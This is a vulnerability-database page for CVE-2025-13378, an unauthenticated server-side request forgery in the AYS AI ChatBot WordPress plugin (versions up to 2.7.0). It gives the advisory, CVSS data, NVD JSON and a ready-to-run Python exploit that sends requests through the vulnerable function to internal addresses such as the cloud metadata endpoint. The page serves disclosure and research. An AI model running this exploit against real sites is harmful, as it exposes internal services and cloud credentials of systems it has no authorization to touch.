Security Vulnerability Report
中文
CVE-2025-13378 CVSS 6.5 MEDIUM

CVE-2025-13378

Published: 2025-11-27 10:15:51
Last Modified: 2026-04-15 00:35:42

Description

The AI ChatBot with ChatGPT and Content Generator by AYS plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 2.7.0 via the ays_chatgpt_pinecone_upsert function. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

AI ChatBot with ChatGPT and Content Generator by AYS plugin <= 2.7.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-13378 SSRF PoC # Target: WordPress site with AYS ChatGPT plugin <= 2.7.0 # Vulnerability: ays_chatgpt_pinecone_upsert function SSRF def exploit_srf(target_url, internal_target): """ Exploit SSRF vulnerability in ays_chatgpt_pinecone_upsert function Args: target_url: Target WordPress site URL internal_target: Internal resource to target (e.g., http://169.254.169.254/) Returns: Response from the internal request """ endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Construct malicious request targeting the vulnerable function data = { 'action': 'ays_chatgpt_pinecone_upsert', 'endpoint': internal_target, 'api_key': 'test', 'index_name': 'test_index' } try: response = requests.post(endpoint, data=data, timeout=10) print(f"[*] Request sent to: {internal_target}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text[:500]}") return response except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-13378.py <target_url> <internal_target>") print("Example: python cve-2025-13378.py http://example.com http://169.254.169.254/latest/meta-data/") sys.exit(1) target = sys.argv[1] internal = sys.argv[2] exploit_srf(target, internal)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13378", "sourceIdentifier": "[email protected]", "published": "2025-11-27T10:15:50.993", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The AI ChatBot with ChatGPT and Content Generator by AYS plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 2.7.0 via the ays_chatgpt_pinecone_upsert function. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/ays-chatgpt-assistant/tags/2.6.9/admin/class-chatgpt-assistant-admin.php#L3483", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ays-chatgpt-assistant/trunk/admin/class-chatgpt-assistant-admin.php#L3483", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ays-chatgpt-assistant/trunk/includes/class-chatgpt-assistant.php#L222", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3402237/ays-chatgpt-assistant/tags/2.7.1/admin/class-chatgpt-assistant-admin.php?old=3382650&old_path=ays-chatgpt-assistant%2Ftags%2F2.6.9%2Fadmin%2Fclass-chatgpt-assistant-admin.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/293ad145-dc93-4d7a-83ba-78f8c730ed6d?source=cve", "source": "[email protected]"}]}}